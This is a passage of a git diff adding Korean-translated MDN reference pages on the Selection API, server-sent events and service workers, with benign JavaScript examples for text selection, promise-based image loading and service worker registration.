+  // orientation was unlocked
+} else {
+  // orientation unlock failed
+}
+
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('Screen Orientation', '', 'Screen Orientation') }}{{ Spec2('Screen Orientation') }}Draft specification
+ +

Browser compatibility

+ +

{{Compat("api.Screen.unlockOrientation")}}

+ +

See also

+ + diff --git a/files/ko/web/api/selection/index.html b/files/ko/web/api/selection/index.html new file mode 100644 index 0000000000..a78be04801 --- /dev/null +++ b/files/ko/web/api/selection/index.html @@ -0,0 +1,209 @@ +--- +title: selection +slug: Web/API/Selection +tags: + - API + - Experimental + - Interface + - Reference + - Selection +translation_of: Web/API/Selection +--- +
{{ ApiRef("DOM") }}{{SeeCompatTable}}
+ +

A Selection object represents the range of text selected by the user or the current position of the caret. To obtain a Selection object for examination or manipulation, call {{DOMxRef("window.getSelection()")}}.

+ +

A user may make a selection from left to right (in document order) or right to left (reverse of document order). The anchor is where the user began the selection and the focus is where the user ends the selection. If you make a selection with a desktop mouse, the anchor is placed where you pressed the mouse button, and the focus is placed where you released the mouse button.

+ +
+

Anchor and focus should not be confused with the start and end positions of a selection. The anchor can be placed before the focus or vice-versa, depending on the direction you made your selection.

+
+ +

Properties

+ +
+
{{DOMxRef("Selection.anchorNode")}}{{ReadOnlyInline}}
+
Returns the {{DOMxRef("Node")}} in which the selection begins. Can return null if selection never existed in the document (e.g., an iframe that was never clicked on).
+
{{DOMxRef("Selection.anchorOffset")}}{{ReadOnlyInline}}
+
Returns a number representing the offset of the selection's anchor within the anchorNode. If anchorNode is a text node, this is the number of characters within anchorNode preceding the anchor. If anchorNode is an element, this is the number of child nodes of the anchorNode preceding the anchor.
+
{{DOMxRef("Selection.focusNode")}}{{ReadOnlyInline}}
+
Returns the {{DOMxRef("Node")}} in which the selection ends. Can return null if selection never existed in the document (for example, in an iframe that was never clicked on).
+
{{DOMxRef("Selection.focusOffset")}}{{ReadOnlyInline}}
+
Returns a number representing the offset of the selection's anchor within the focusNode. If focusNode is a text node, this is the number of characters within focusNode preceding the focus. If focusNode is an element, this is the number of child nodes of the focusNode preceding the focus.
+
{{DOMxRef("Selection.isCollapsed")}}{{ReadOnlyInline}}
+
Returns a Boolean indicating whether the selection's start and end points are at the same position.
+
{{DOMxRef("Selection.rangeCount")}}{{ReadOnlyInline}}
+
Returns the number of ranges in the selection.
+
{{DOMxRef("Selection.type")}}{{ReadOnlyInline}}
+
Returns a {{DOMxRef("DOMString")}} describing the type of the current selection.
+
+ +

Methods

+ +
+
{{DOMxRef("Selection.addRange()")}}
+
A {{DOMxRef("Range")}} object that will be added to the selection.
+
{{DOMxRef("Selection.collapse()")}}
+
Collapses the current selection to a single point.
+
{{DOMxRef("Selection.collapseToEnd()")}}
+
Collapses the selection to the end of the last range in the selection.
+
{{DOMxRef("Selection.collapseToStart()")}}
+
Collapses the selection to the start of the first range in the selection.
+
{{DOMxRef("Selection.containsNode()")}}
+
Indicates if a certain node is part of the selection.
+
{{DOMxRef("Selection.deleteFromDocument()")}}
+
Deletes the selection's content from the document.
+
{{DOMxRef("Selection.empty()")}}
+
Removes all ranges from the selection. This is an alias for removeAllRanges() — See {{DOMxRef("Selection.removeAllRanges()")}} for more details.
+
{{DOMxRef("Selection.extend()")}}
+
Moves the focus of the selection to a specified point.
+
{{DOMxRef("Selection.getRangeAt()")}}
+
Returns a {{DOMxRef("Range")}} object representing one of the ranges currently selected.
+
{{DOMxRef("Selection.modify()")}}{{Non-standard_Inline}}
+
Changes the current selection.
+
{{DOMxRef("Selection.removeRange()")}}
+
Removes a range from the selection.
+
{{DOMxRef("Selection.removeAllRanges()")}}
+
Removes all ranges from the selection.
+
{{DOMxRef("Selection.selectAllChildren()")}}
+
Adds all the children of the specified node to the selection.
+
{{DOMxRef("Selection.setBaseAndExtent()")}}
+
Sets the selection to be a range including all or parts of two specified DOM nodes, and any content located between them.
+
{{DOMxRef("Selection.setPosition()")}}
+
Collapses the current selection to a single point. This is an alias for collapse() — See {{DOMxRef("Selection.collapse()")}} for more details.
+
{{DOMxRef("Selection.toString()")}}
+
Returns a string currently being represented by the selection object, i.e. the currently selected text.
+
+ +

Notes

+ +

String representation of a selection

+ +

Calling the {{DOMxRef("Selection.toString()")}} method returns the text contained within the selection, e.g.:

+ +
var selObj = window.getSelection();
+window.alert(selObj);
+
+ +

Note that using a selection object as the argument to window.alert will call the object's toString method.

+ +

Multiple ranges in a selection

+ +

A selection object represents the {{DOMxRef("Range")}}s that the user has selected. Typically, it holds only one range, accessed as follows:

+ +
+
var selObj = window.getSelection();
+var range  = selObj.getRangeAt(0);
+
+ + + +

As the Selection API specification notes, the Selection API was initially created by Netscape and allowed multiple ranges (for instance, to allow the user to select a column from a {{HTMLElement("table")}}). However, browsers other than Gecko did not implement multiple ranges, and the specification also requires the selection to always have a single range.

+ +

Selection and input focus

+ +

Selection and input focus (indicated by {{DOMxRef("Document.activeElement")}}) have a complex relationship that varies by browser. In cross-browser compatible code, it's better to handle them separately.

+ +

Safari and Chrome (unlike Firefox) currently focus the element containing selection when modifying the selection programmatically; it's possible that this may change in the future (see W3C bug 14383 and {{WebKitBug("38696")}}).

+ +

Behavior of Selection API in terms of editing host focus changes

+ +

The Selection API has a common behavior (i.e., shared between browsers) that governs how focus behavior changes for editing hosts after certain methods are called.

+ +

The behavior is as follows:

+ +
    +
  1. An editing host gains focus if the previous selection was outside of it.
  2. +
  3. A Selection API method is called, causing a new selection to be made with the selection range inside the editing host.
  4. +
  5. Focus then moves to the editing host.
  6. +
+ +
+

Note: The Selection API methods may only move focus to an editing host, not to other focusable elements (e.g., {{HTMLElement("a")}}).

+
+ +

The above behavior applies to selections made using the following methods:

+ + + +

And when the {{DOMxRef("Range")}} is modified using the following methods:

+ + + +

Glossary

+ +

Other key terms used in this section.

+ +
+
anchor
+
The anchor of a selection is the beginning point of the selection. When making a selection with a mouse, the anchor is where in the document the mouse button is initially pressed. As the user changes the selection using the mouse or the keyboard, the anchor does not move.
+
editing host
+
An editable element (e.g., an HTML element with {{htmlattrxref("contenteditable")}} set, or the HTML child of a document that has {{DOMxRef("Document.designMode", "designMode")}} enabled).
+
focus of a selection
+
The focus of a selection is the end point of the selection. When making a selection with a mouse, the focus is where in the document the mouse button is released. As the user changes the selection using the mouse or the keyboard, the focus is the end of the selection that moves. +
This is not the same as the focused element of the document, as returned by {{DOMxRef("document.activeElement")}}.
+
+
range
+
A range is a contiguous part of a document. A range can contain entire nodes as well as portions of nodes (such as a portion of a text node). A user will normally only select a single range at a time, but it's possible for a user to select multiple ranges (e.g., by using the Control key). A range can be retrieved from a selection as a {{DOMxRef("range")}} object. Range objects can also be created via the DOM and programmatically added or removed from a selection.
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Selection API", "#selection-interface", "Selection")}}{{Spec2("Selection API")}}The Selection API specification is based on the HTML Editing APIs specification and focuses on the Selection-related functionality.
+ +

Browser compatibility

+ + + +

{{Compat("api.Selection")}}

+ +

Gecko notes

+ + + +

See also

+ + diff --git a/files/ko/web/api/selection/tostring/index.html b/files/ko/web/api/selection/tostring/index.html new file mode 100644 index 0000000000..3048c8a65f --- /dev/null +++ b/files/ko/web/api/selection/tostring/index.html @@ -0,0 +1,58 @@ +--- +title: Selection.toString() +slug: Web/API/Selection/toString +translation_of: Web/API/Selection/toString +--- +
+
+
{{ ApiRef("DOM") }}{{SeeCompatTable}}
+
+
+ +

Selection.toString() 메소드는 selection 객체가 현재 나타내는 문자열을 반환합니다. 즉, 현재 선택된 텍스트의 문자열.

+ +

Syntax

+ +
str = sel.toString()
+
+ +

Return value

+ +

A string representing the selection.

+ +

Description

+ +

This method returns the currently selected text.

+ +

In JavaScript, this method is called automatically when a function the selection object is passed to requires a string:

+ +
alert(window.getSelection()) // What is called
+alert(window.getSelection().toString())  // What is actually being effectively called.
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML Editing', '#dom-selection-stringifier', 'Selection.toString()')}}{{Spec2('HTML Editing')}}Initial definition
+ +

Browser compatibility

+ +
{{Compat("api.Selection.toString")}}
+ +

See also

+ + diff --git a/files/ko/web/api/server-sent_events/index.html b/files/ko/web/api/server-sent_events/index.html new file mode 100644 index 0000000000..4b893570f8 --- /dev/null +++ b/files/ko/web/api/server-sent_events/index.html @@ -0,0 +1,77 @@ +--- +title: Server-sent events +slug: Web/API/Server-sent_events +tags: + - API + - Overview + - SSE + - Server-sent events +translation_of: Web/API/Server-sent_events +--- +

{{DefaultAPISidebar("Server Sent Events")}}

+ +

전통적으로 웹페이지는 새로운 데이터를 받기 위해 서버로 요청을 보내야만 합니다; 서버로 데이터를 요청하는 방식입니다. 하지만 Server-Sent Events 방식으로 웹페이지의 요청 없이도 언제든지 서버가 새로운 데이터를 보내는 것이 가능합니다. 이렇게 보내진 메시지는 웹페이지 안에서 Events + 데이터로 다룰 수 있습니다.

+ +

기본 & 사용하기

+ +

Server-Sent Events를 배우려면 다음 글을 읽어보세요: Server-Sent Events 사용하기.

+ +

인터페이스

+ +
+
{{domxref("EventSource")}}
+
서버와의 연결, 이벤트/데이터, 에러 받아오기, 연결 종료하기 등을 다루는 모든 기능을 정의하고 있습니다.
+
+ +

예제

+ + + +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#server-sent-events', 'Server-sent events')}}{{Spec2('HTML WHATWG')}} 
+ +

더 찾아보기

+ +

도구

+ + + + + + + +

그 외 자료

+ + diff --git a/files/ko/web/api/service_worker_api/index.html b/files/ko/web/api/service_worker_api/index.html new file mode 100644 index 0000000000..5047e10e89 --- /dev/null +++ b/files/ko/web/api/service_worker_api/index.html @@ -0,0 +1,175 @@ +--- +title: Service Worker API +slug: Web/API/Service_Worker_API +tags: + - API + - Landing + - Offline + - Overview + - Reference + - Service Workers + - Workers + - 서비스 워커 + - 오프라인 +translation_of: Web/API/Service_Worker_API +--- +
{{ServiceWorkerSidebar}}
+ +

서비스 워커는 웹 응용 프로그램, 브라우저, 그리고 (사용 가능한 경우) 네트워크 사이의 프록시 서버 역할을 합니다. 서비스 워커의 개발 의도는 여러가지가 있지만, 그 중에서도 효과적인 오프라인 경험을 생성하고, 네트워크 요청을 가로채서 네트워크 사용 가능 여부에 따라 적절한 행동을 취하고, 서버의 자산을 업데이트할 수 있습니다. 또한 푸시 알림과 백그라운드 동기화 API로의 접근도 제공합니다.

+ +

서비스 워커의 개념과 사용법

+ +

서비스 워커는 출처와 경로에 대해 등록하는 이벤트 기반 워커로서 JavaScript 파일의 형태를 갖고 있습니다. 서비스 워커는 연관된 웹 페이지/사이트를 통제하여 탐색과 리소스 요청을 가로채 수정하고, 리소스를 굉장히 세부적으로 캐싱할 수 있습니다. 이를 통해 웹 앱이 어떤 상황에서 어떻게 동작해야 하는지 완벽하게 바꿀 수 있습니다. (제일 대표적인 상황은 네트워크를 사용하지 못할 때입니다.)

+ +

서비스 워커는 워커 맥락에서 실행되기 때문에 DOM에 접근할 수 없습니다. 또한 앱을 구동하는 주 JavaScript와는 다른 스레드에서 동작하므로 연산을 가로막지 않습니다(논 블로킹). 서비스 워커는 온전히 비동기적으로 설계됐으며, 그로 인해 동기적 XHR이나 웹 저장소 등의 API를 서비스 워커 내에서 사용할 수 없습니다.

+ +

서비스 워커는 보안 상의 이유로 HTTPS에서만 동작합니다. 네트워크 요청을 수정할 수 있다는 점에서 중간자 공격에 굉장히 취약하기 때문입니다. 또한 Firefox에서는 사생활 보호 모드에서 Service Worker API에 접근할 수 없습니다.

+ +
+

참고: 서비스 워커는 모든 것을 세부적으로 통제할 수 있다는 점에서 AppCache 등 오프라인이나 캐시의 이전 시도보다 우위를 점합니다. 서비스 워커는 개발자의 의도를 짐작하지 않으며, 예측과 빗나갔을 때 망가지지도 않기 때문입니다.

+
+ +
+

참고: 서비스 워커는 응답을 기다린 후 성공 또는 실패 액션을 실행하는 경우가 많으므로 프로미스를 적극적으로 사용합니다.

+
+ +

등록

+ +

서비스 워커는 {{domxref("ServiceWorkerContainer.register()")}} 메서드를 사용해 처음 등록합니다. 성공적으로 등록한 경우 클라이언트가 서비스 워커를 다운로드하고, 출처 전체에 대해 혹은 개발자가 지정한 특정 주소들에 대해서 서비스 워커의 설치와 활성화(아래 구획 참고)를 시도합니다.

+ +

다운로드, 설치, 활성화

+ +

서비스 워커를 살펴보면 다음과 같은 생명주기를 볼 수 있습니다.

+ +
    +
  1. 다운로드
  2. +
  3. 설치
  4. +
  5. 활성화
  6. +
+ +

서비스 워커가 제어하는 사이트/페이지에 사용자가 처음 접근하는 순간 서비스 워커가 즉시 다운로드됩니다.

+ +

서비스 워커의 업데이트는 다음 경우에 발생합니다.

+ + + +

다운로드한 파일이 더 새로운 버전인 경우 서비스 워커의 설치를 시도합니다. 버전 비교는 기존 서비스 워커 파일과의 바이트 단위 비교 결과를 사용합니다. 이 페이지/사이트에서 서비스 워커를 처음 발견한 경우에도 "새로운 버전"으로 취급합니다.

+ +

기존 서비스 워커가 없으면 설치를 시도하고, 설치를 성공하면 활성화합니다.

+ +

기존에 서비스 워커가 존재하던 경우, 새로운 버전을 백그라운드에서 설치하지만 활성화는 아직 하지 않습니다. 이 시점의 워커를 대기 중인 워커라고 부릅니다. 대기 중인 워커는 이전 버전의 서비스 워커를 사용하는 페이지가 모두 닫힌 경우 활성화되어 활성 워커가 됩니다. {{DOMxRef("ServiceWorkerGlobalScope.skipWaiting()")}}을 사용해 활성화 절차를 더 빨리 시작할 수 있으며, 새로운 활성 워커는 {{DOMxRef("Clients.claim()")}}을 사용해 이전 페이지를 회수할 수 있습니다.

+ +

생명주기 중 발생하는 이벤트 중 하나는 {{domxref("ServiceWorkerGlobalScope/install_event", "install")}} 이벤트입니다. 이 이벤트의 대표적인 사용 방법은, 예를 들면 내장 저장소 API를 사용해 캐시를 만들고, 오프라인 상황에서 사용할 자산을 준비하는 등, 서비스 워커의 사용을 준비하는 것입니다.

+ +

{{domxref("ServiceWorkerGlobalScope/activate_event", "activate")}} 이벤트도 있습니다. activate의 시점에서는 과거의 캐시를 지우고, 구버전 서비스 워커에 관련된 항목을 청소하는 등 여러가지를 정리하기에 좋습니다.

+ +

서비스 워커는 {{domxref("FetchEvent")}} 이벤트를 사용해 요청에 응답할 수 있습니다. {{domxref("FetchEvent.respondWith()")}} 메서드를 사용해 요청에 대한 응답을 원하는 방식으로 자유롭게 바꾸세요.

+ +
+

참고: installactivate 이벤트 처리는 시간이 꽤 걸릴 수도 있기에, 서비스 워커 명세는 {{domxref("ExtendableEvent.waitUntil", "waitUntil()")}} 메서드를 제공합니다. install이나 activate에서 waitUntil()을 호출하면서 매개변수로 프로미스를 제공하면, 성공적으로 이행하기 전까지는 기능 이벤트가 발생하지 않습니다.

+
+ +

기본적인 첫 서비스 워커를 차근차근 만드는 방법은 서비스 워커 사용하기에서 읽어볼 수 있습니다.

+ +

다른 사용법 아이디어

+ +

서비스 워커의 설계는 다음과 같은 용도로 사용하는 것도 감안했습니다.

+ + + +

미래의 서비스 워커는 웹 플랫폼이 네이티브 앱의 능력에 보다 근접하도록 여러 가지 유용한 기능을 수행할 수 있을 것입니다. 흥미롭게도 다른 명세에서도 서비스 워커 맥락을 사용할 수 있으며, 이미 다음과 같은 곳에서 사용하고 있습니다.

+ + + +

인터페이스

+ +
+
{{DOMxRef("Cache")}} {{Experimental_Inline}}
+
{{DOMxRef("ServiceWorker")}} 생명주기의 일부로서 캐시되는 {{domxref("Request")}} / {{domxref("Response")}} 객체 쌍의 저장소를 나타냅니다.
+
{{DOMxRef("CacheStorage")}} {{Experimental_Inline}}
+
{{DOMxRef("Cache")}} 객체의 저장소를 나타냅니다. {{DOMxRef("ServiceWorker")}}가 접근할 수 있는 모든 유명 캐시의 주 디렉토리를 제공하며, {{domxref("Cache")}} 객체를 가리키는 문자열 이름의 맵핑도 관리합니다.
+
{{DOMxRef("Client")}} {{Experimental_Inline}}
+
서비스 워커 클라이언트의 범위를 나타냅니다. 서비스 워커 클라이언트는 브라우저 맥락에서의 문서이거나, 활성화된 워커가 제어하는 {{domxref("SharedWorker")}}입니다.
+
{{DOMxRef("Clients")}} {{Experimental_Inline}}
+
{{DOMxRef("Client")}} 객체의 목록을 나타냅니다. Clients는 현재 {{glossary("출처")}}의 활성 서비스 워커 클라이언트에 접근하는 주요 방법입니다.
+
{{DOMxRef("ExtendableEvent")}} {{Experimental_Inline}}
+
서비스 워커 생명주기의 일부로서 {{DOMxRef("ServiceWorkerGlobalScope")}}에서 발생하는 installactivate 이벤트의 지속시간을 늘립니다. 이로써 데이터베이스 스키마를 업그레이드하거나, 만료된 캐시 항목을 지우는 작업 등이 끝나기 전까지 {{DOMxRef("FetchEvent")}}와 같은 기능 이벤트가 {{DOMxRef("ServiceWorker")}}로 전달되지 않도록 합니다.
+
{{DOMxRef("ExtendableMessageEvent")}} {{Experimental_Inline}}
+
The event object of a {{event("message_(ServiceWorker)","message")}} event fired on a service worker (when a channel message is received on the {{DOMxRef("ServiceWorkerGlobalScope")}} from another context) — extends the lifetime of such events.
+
{{DOMxRef("FetchEvent")}} {{Experimental_Inline}}
+
The parameter passed into the {{DOMxRef("ServiceWorkerGlobalScope.onfetch")}} handler, FetchEvent represents a fetch action that is dispatched on the {{DOMxRef("ServiceWorkerGlobalScope")}} of a {{DOMxRef("ServiceWorker")}}. It contains information about the request and resulting response, and provides the {{DOMxRef("FetchEvent.respondWith", "FetchEvent.respondWith()")}} method, which allows us to provide an arbitrary response back to the controlled page.
+
{{DOMxRef("InstallEvent")}} {{Experimental_Inline}}
+
The parameter passed into the {{DOMxRef("ServiceWorkerGlobalScope.oninstall", "oninstall")}} handler, the InstallEvent interface represents an install action that is dispatched on the {{DOMxRef("ServiceWorkerGlobalScope")}} of a {{DOMxRef("ServiceWorker")}}. As a child of {{DOMxRef("ExtendableEvent")}}, it ensures that functional events such as {{DOMxRef("FetchEvent")}} are not dispatched during installation.
+
{{DOMxRef("NavigationPreloadManager")}} {{Experimental_Inline}}
+
Provides methods for managing the preloading of resources with a service worker.
+
{{DOMxRef("Navigator.serviceWorker")}}
+
Returns a {{DOMxRef("ServiceWorkerContainer")}} object, which provides access to registration, removal, upgrade, and communication with the {{DOMxRef("ServiceWorker")}} objects for the associated document.
+
{{DOMxRef("NotificationEvent")}} {{Experimental_Inline}}
+
The parameter passed into the {{DOMxRef("ServiceWorkerGlobalScope.onnotificationclick", "onnotificationclick")}} handler, the NotificationEvent interface represents a notification click event that is dispatched on the {{DOMxRef("ServiceWorkerGlobalScope")}} of a {{DOMxRef("ServiceWorker")}}.
+
{{DOMxRef("ServiceWorker")}} {{Experimental_Inline}}
+
Represents a service worker. Multiple browsing contexts (e.g. pages, workers, etc.) can be associated with the same ServiceWorker object.
+
{{DOMxRef("ServiceWorkerContainer")}} {{Experimental_Inline}}
+
Provides an object representing the service worker as an overall unit in the network ecosystem, including facilities to register, unregister, and update service workers, and access the state of service workers and their registrations.
+
{{DOMxRef("ServiceWorkerGlobalScope")}}
+
Represents the global execution context of a service worker.
+
{{DOMxRef("ServiceWorkerMessageEvent")}} {{Deprecated_Inline}}
+
Represents a message sent to a {{DOMxRef("ServiceWorkerGlobalScope")}}. Note that this interface is deprecated in modern browsers. Service worker messages will now use the {{DOMxRef("MessageEvent")}} interface, for consistency with other web messaging features.
+
{{DOMxRef("ServiceWorkerRegistration")}} {{Experimental_Inline}}
+
Represents a service worker registration.
+
{{DOMxRef("ServiceWorkerState")}} {{Experimental_Inline}}
+
Associated with its ServiceWorker's state.
+
{{DOMxRef("SyncEvent")}} {{Non-standard_Inline}}
+
+

The SyncEvent interface represents a sync action that is dispatched on the {{DOMxRef("ServiceWorkerGlobalScope")}} of a ServiceWorker.

+
+
{{DOMxRef("SyncManager")}} {{Non-standard_Inline}}
+
Provides an interface for registering and listing sync registrations.
+
{{DOMxRef("WindowClient")}} {{Experimental_Inline}}
+
Represents the scope of a service worker client that is a document in a browser context, controlled by an active worker. This is a special type of {{DOMxRef("Client")}} object, with some additional methods and properties available.
+
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers')}}{{Spec2('Service Workers')}}Initial definition.
+ +

같이 보기

+ + diff --git a/files/ko/web/api/service_worker_api/using_service_workers/index.html b/files/ko/web/api/service_worker_api/using_service_workers/index.html new file mode 100644 index 0000000000..9c9ffcf6e0 --- /dev/null +++ b/files/ko/web/api/service_worker_api/using_service_workers/index.html @@ -0,0 +1,521 @@ +--- +title: Using Service Workers +slug: Web/API/Service_Worker_API/Using_Service_Workers +translation_of: Web/API/Service_Worker_API/Using_Service_Workers +--- +

{{ServiceWorkerSidebar}}

+ +

{{ SeeCompatTable() }}

+ +
+

본 문서에서는 서비스 워커를 시작하기 위한 기본적인 아키텍처, 서비스 워커 등록, 새로운 서비스 워커의 설치와 활성화 과정, 서비스 워커 업데이트, 캐시 제어 및 사용자 정의 응답에 대한 정보를 오프라인 기능을 갖춘 간단한 예제를 통해 제공합니다.

+
+ +

서비스 워커에 앞서서...

+ +

웹 사용자들이 몇 년 동안 겪었던 가장 중요한 문제 중 하나는 인터넷 연결이 끊어지면 작동하지 않는겁니다. 세계 최고의 웹 앱조차 연결이 없을 때는 끔찍한 사용자 경험을 제공합니다. 우리의 오프라인 페이지가 보여주듯이, 이 문제를 해결하기 위한 기술을 개발하기 위한 여러가지 시도가 있었고, 일부 문제는 해결되었습니다. 그러나 가장 중요한 문제는 리소스 캐싱과 커스텀 네트워크(예를 들어 WebSocket등을 이용한 리소스 로드) 통신 제어 메커니즘이 여전히 좋지 않다는 점입니다.

+ +

직전의 시도였던 AppCache 는 캐싱할 리소스를 쉽게 지정할 수 있었기 때문에 좋은 생각이였던것 처럼 보였지만, 당신이 지정한 동작에 대한 가정을 앱이 정확하게 따르지 않을 경우 앱이 끔찍하게 망가집니다. 자세히 알고 싶으면 Jake Archibald의 Application Cache is a Douchebag 을 참고하세요.

+ +
+

참고: Firefox 44에서 AppCache 를 사용해서 페이지의 오프라인 지원을 제공할 경우 콘솔에 서비스 워커 를 대신 사용하는것에 대한 제안이 경고로 표시됩니다. ({{bug("1204581")}})

+
+ +

서비스 워커는 최종적으로 이러한 문제를 해결해야 합니다. 서비스 워커 구문은 AppCache 보다 복잡하지만, 자바스크립트를 사용해서 세밀하게 AppCache 의 암묵적인 동작들을 제어할 수 있으므로 이 문제 그 이상을 처리 할 수 있습니다. 서비스 워커를 사용하면 먼저 캐싱된 리소스를 사용하도록 앱을 설정해서 오프라인일 경우에도 일관적인 경험을 제공한다음 네트워크 연결이 돌아올 때 더 많은 데이터를 불러오게 할 수 있습니다. (보통 오프라인 우선 이라고 함이 기능은 네이티브 앱에서는 이미 널리 사용되는 구현법이며, 이는 네이티브 앱이 웹 앱 대신 선택되는 주된 이유 중 하나입니다.

+ +

서비스워커 개발을 위한 환경 설정

+ +

서비스워커가 지원되는 최신 브라우저에서 많은 서비스 워커 기능들이 활성화되어 있습니다. 만약 현재 사용하시는 브라우저에서 데모 코드가 돌아가지 않으면, 아래와 같이 환경을 설정해주세요.

+ + + +

애플리케이션을 HTTPS 에서 실행시키세요 - 서비스워커는 보안상의 이유로 HTTPS 에서만 동작합니다. Github 은 HTTPS 를 지원하기 때문에 서비스워커를 시험해보기 좋은 사이트입니다. 이외에 localhost 도 https 로 간주되니 로컬 개발환경도 활용해보세요.

+ +

기본 구조

+ +

다음의 단계들은 서비스 워커의 기본적인 설정법입니다:

+ +
    +
  1. {{domxref("serviceWorkerContainer.register()")}}을 통해서 서비스 워커 URL을 가져오고, 등록합니다.
  2. +
  3. 등록에 성공하면, {{domxref("ServiceWorkerGlobalScope") }} 범위에서 서비스 워커가 실행됩니다. 이는 (메인 스크립트 실행 쓰레드를 running off하면서) 기본적으로 DOM 접근이 없는 작업 문맥을 갖습니다.
  4. +
  5. 이제 서비스 워커는 이벤트를 처리할 준비가 되었습니다.
  6. +
  7. 서비스 워커가 제어하는 페이지들에 연속적으로 접근하게 될 때 서비스 워커 설치를 시도하게 됩니다. 서비스 워커는 항상 처음으로 설치 이벤트를 받습니다.(설치 이벤트는 IndexedDB를 생성하고, 사이트 assets을 캐싱하는 처리를 시작할 때 사용될 수 있습니다.) 설치 이벤트는 모든 것을 오프라인에서 사용할 수 있게 하는, 네이티브 또는 파이어폭스 OS 앱을 설치하는 프로시저와 같은 종류입니다.
  8. +
  9. oninstall 핸들러가 완료되면, 서비스 워커가 설치되었다고 할 수 있습니다.
  10. +
  11. 다음은 활성(activation) 이벤트입니다. 서비스 워커가 설치되면, 활성 이벤트를 받게 됩니다.  onactivate 는 이전 버전의 서비스 워커 스크립트에서 사용된 리소스들을 삭제하는 용도로서 주로 사용됩니다.
  12. +
  13. 이제 서비스 워커가 페이지들을 제어하게 될 것이지만, 오직 register() 가 성공적으로 수행된 후에 페이지들이 열리게 될 것입니다. 즉, 문서는 서비스 워커와 함께, 또는 없이도 라이프를 시작하고 유지합니다. 따라서 문서는 실제로 서비스 워커에 제어되기 위해서 재시작 되어야 할 것입니다.
  14. +
+ +

+ +

The below graphic shows a summary of the available service worker events:

+ +

install, activate, message, fetch, sync, push

+ +

Promises

+ +

Promises are a great mechanism for running async operations, with success dependant on one another. This is central to the way service workers work.
+
+ Promises can do a great many things, but for now, all you need to know is that if something returns a promise, you can attach .then() to the end and include callbacks inside it for success, failure, etc., or you can insert .catch() on the end if you want to include a failure callback.

+ +

Let’s compare a traditional synchronous callback structure to its asynchronous promise equivalent.

+ +

sync

+ +
try {
+  var value = myFunction();
+  console.log(value);
+} catch(err) {
+  console.log(err);
+}
+ +

async

+ +
myFunction().then(function(value) {
+  console.log(value);
+}).catch(function(err) {
+  console.log(err);
+});
+ +

In the first example, we have to wait for myFunction() to run and return value before any more of the code can execute. In the second example, myFunction() returns a promise for value, then the rest of the code can carry on running. When the promise resolves, the code inside then will be run, asynchronously.
+
+ Now for a real example — what if we wanted to load images dynamically, but we wanted to make sure the images were loaded before we tried to display them? This is a standard thing to want to do, but it can be a bit of a pain. We can use .onload to only display the image after it’s loaded, but what about events that start happening before we start listening to them? We could try to work around this using .complete, but it’s still not foolproof, and what about multiple images? And, ummm, it’s still synchronous, so blocks the main thread.
+
+ Instead, we could build our own promise to handle this kind of case. (See our Promises test example for the source code, or look at it running live.)

+ +

{{note("A real service worker implementation would use caching and onfetch rather than the deprecated XMLHttpRequest API. Those features are not used here so that you can focus on understanding Promises.")}}

+ +
function imgLoad(url) {
+  return new Promise(function(resolve, reject) {
+    var request = new XMLHttpRequest();
+    request.open('GET', url);
+    request.responseType = 'blob';
+
+    request.onload = function() {
+      if (request.status == 200) {
+        resolve(request.response);
+      } else {
+        reject(Error('Image didn\'t load successfully; error code:' + request.statusText));
+      }
+    };
+
+    request.onerror = function() {
+      reject(Error('There was a network error.'));
+    };
+
+    request.send();
+  });
+}
+ +

We return a new promise using the Promise() constructor, which takes as an argument a callback function with resolve and reject parameters. Somewhere in the function, we need to define what happens for the promise to resolve successfully or be rejected — in this case return a 200 OK status or not — and then call resolve on success, or reject on failure. The rest of the contents of this function is fairly standard XHR stuff, so we won’t worry about that for now.

+ +

When we come to call the imgLoad() function, we call it with the url to the image we want to load, as we might expect, but the rest of the code is a little different:

+ +
var body = document.querySelector('body');
+var myImage = new Image();
+
+imgLoad('myLittleVader.jpg').then(function(response) {
+  var imageURL = window.URL.createObjectURL(response);
+  myImage.src = imageURL;
+  body.appendChild(myImage);
+}, function(Error) {
+  console.log(Error);
+});
+ +

On to the end of the function call, we chain the promise then() method, which contains two functions — the first one is executed when the promise successfully resolves, and the second is called when the promise is rejected. In the resolved case, we display the image inside myImage and append it to the body (it’s argument is the request.response contained inside the promise’s resolve method); in the rejected case we return an error to the console.

+ +

This all happens asynchronously.

+ +
+

Note: You can also chain promise calls together, for example:
+ myPromise().then(success, failure).then(success).catch(failure);

+
+ +
+

Note: You can find a lot more out about promises by reading Jake Archibald’s excellent JavaScript Promises: there and back again.

+
+ +

Service workers demo

+ +

To demonstrate just the very basics of registering and installing a service worker, we have created a simple demo called sw-test, which is a simple Star wars Lego image gallery. It uses a promise-powered function to read image data from a JSON object and load the images using Ajax, before displaying the images in a line down the page. We’ve kept things static and simple for now. It also registers, installs, and activates a service worker, and when more of the spec is supported by browsers it will cache all the files required so it will work offline!

+ +


+
+
+ You can see the source code on GitHub, and view the example live. The one bit we’ll call out here is the promise (see app.js lines 22-47), which is a modified version of what you read about above, in the Promises test demo. It is different in the following ways:

+ +
    +
  1. In the original, we only passed in a URL to an image we wanted to load. In this version, we pass in a JSON fragment containing all the data for a single image (see what they look like in image-list.js). This is because all the data for each promise resolve has to be passed in with the promise, as it is asynchronous. If you just passed in the url, and then tried to access the other items in the JSON separately when the for() loop is being iterated through later on, it wouldn’t work, as the promise wouldn’t resolve at the same time as the iterations are being done (that is a synchronous process.)
  2. +
  3. We actually resolve the promise with an array, as we want to make the loaded image blob available to the resolving function later on in the code, but also the image name, credits and alt text (see app.js lines 31-34). Promises will only resolve with a single argument, so if you want to resolve with multiple values, you need to use an array/object.
  4. +
  5. To access the resolved promise values, we then access this function as you’d then expect (see app.js lines 60-64). This may seem a bit odd at first, but this is the way promises work.
  6. +
+ +

Enter service workers

+ +

Now let’s get on to service workers!

+ +

Registering your worker

+ +

The first block of code in our app’s JavaScript file — app.js — is as follows. This is our entry point into using service workers.

+ +
if ('serviceWorker' in navigator) {
+  navigator.serviceWorker.register('/sw-test/sw.js', {scope: '/sw-test/'})
+  .then(function(reg) {
+    // registration worked
+    console.log('Registration succeeded. Scope is ' + reg.scope);
+  }).catch(function(error) {
+    // registration failed
